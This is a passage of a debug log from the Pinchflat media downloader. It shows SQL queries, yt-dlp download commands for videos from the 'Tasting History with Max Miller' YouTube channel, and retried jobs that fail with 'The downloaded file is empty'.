#12040: "ERROR: The downloaded file is empty\n" 03:23:47.636 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12040},"id":1729,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":537718418,"event":"job:exception","queue_time":287433173,"attempt":3,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:23:47.643 [info] {"args":{"id":12546},"id":1728,"meta":{},"system_time":1774941827643177310,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":5,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:23:47.643 [debug] QUERY OK source="media_items" db=0.2ms idle=251.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12546] 03:23:47.643 [info] User scripts lifecyle file either not present or is empty. Skipping. 03:23:47.644 [debug] QUERY OK source="sources" db=0.1ms idle=252.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:23:47.644 [debug] QUERY OK source="media_profiles" db=0.1ms idle=252.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:23:47.645 [debug] QUERY OK source="media_items" db=0.2ms idle=8.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12546] 03:23:47.645 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12546] 03:23:47.645 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:23:47.646 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:23:47.646 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:23:47.646 [debug] Running yt-dlp command for action: get_downloadable_status 03:23:47.646 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:23:47.647 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:23:47.647 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:23:47.647 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/26/6b/266b5d016522bf849ab7499c851b3a3db9648a0ee1fc4f99767b292fb04303f7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:23:47.727 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:51.728 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/26/6b/266b5d016522bf849ab7499c851b3a3db9648a0ee1fc4f99767b292fb04303f7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 03:23:51.729 [debug] Running yt-dlp command for action: download 03:23:51.729 [debug] QUERY OK source="settings" db=0.1ms idle=984.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:23:51.729 [debug] QUERY OK source="settings" db=0.1ms idle=338.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:23:51.729 [debug] QUERY OK source="settings" db=0.0ms idle=338.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:23:51.730 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/32/0b/320b8196a41e1bef6028868673a62f8b854bb3f5e3d443e89f321f8683c8cbc2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:24:00.030 [info] {"source":"oban","duration":260,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:24:17.728 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:47.729 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:00.031 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:25:17.730 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:45.102 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/11/98/1198f343082ed5862c053b1c79102d878cb0eb17d91fdf8e53e1a73f4f6c7634.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 03:25:45.102 [error] yt-dlp download error for media item #11535: "ERROR: The downloaded file is empty\n" 03:25:45.102 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11535},"id":1730,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":303225924,"event":"job:exception","queue_time":285659953,"attempt":3,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:25:45.109 [info] {"args":{"id":12040},"id":1729,"meta":{},"system_time":1774941945109151332,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":4,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:25:45.109 [debug] QUERY OK source="media_items" db=0.2ms idle=1717.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12040] 03:25:45.109 [info] User scripts lifecyle file either not present or is empty. Skipping. 03:25:45.110 [debug] QUERY OK source="sources" db=0.1ms idle=1194.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:25:45.110 [debug] QUERY OK source="media_profiles" db=0.2ms idle=192.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:25:45.110 [debug] QUERY OK source="media_items" db=0.2ms idle=7.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12040] 03:25:45.111 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12040] 03:25:45.111 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:25:45.112 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:25:45.112 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:25:45.112 [debug] Running yt-dlp command for action: get_downloadable_status 03:25:45.112 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:25:45.113 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:25:45.113 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:25:45.113 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/45/c0/45c00e8d6835978a7d59d0eefdc81dc834577086b56ceec381db30eeff8f8fb8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:25:47.731 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:48.742 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/45/c0/45c00e8d6835978a7d59d0eefdc81dc834577086b56ceec381db30eeff8f8fb8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 03:25:48.742 [debug] Running yt-dlp command for action: download 03:25:48.743 [debug] QUERY OK source="settings" db=0.1ms idle=1011.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:25:48.743 [debug] QUERY OK source="settings" db=0.1ms idle=821.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:25:48.743 [debug] QUERY OK source="settings" db=0.0ms idle=351.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:25:48.743 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/60/39/6039a56443d5d18973543206cea4299a97a65afdebec6e97d64772e37da4c19e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:26:00.032 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:26:17.732 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:47.733 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:00.033 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:27:17.735 [info] {"source":"oban","duration":813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:47.737 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:00.034 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:28:17.738 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:47.739 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:00.035 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:29:17.740 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:47.741 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:00.036 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:30:17.742 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:33.639 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/60/39/6039a56443d5d18973543206cea4299a97a65afdebec6e97d64772e37da4c19e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 03:30:33.639 [error] yt-dlp download error for media item #12040: "ERROR: The downloaded file is empty\n" 03:30:33.640 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12040},"id":1729,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":288530920,"event":"job:exception","queue_time":92472633,"attempt":4,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:30:33.647 [info] {"args":{"id":11535},"id":1730,"meta":{},"system_time":1774942233647340923,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":4,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:30:33.647 [debug] QUERY OK source="media_items" db=0.1ms idle=255.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11535] 03:30:33.647 [info] User scripts lifecyle file either not present or is empty. Skipping. 03:30:33.648 [debug] QUERY OK source="sources" db=0.2ms idle=256.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:30:33.648 [debug] QUERY OK source="media_profiles" db=0.1ms idle=256.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:30:33.649 [debug] QUERY OK source="media_items" db=0.2ms idle=8.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11535] 03:30:33.649 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11535] 03:30:33.649 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:30:33.650 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", 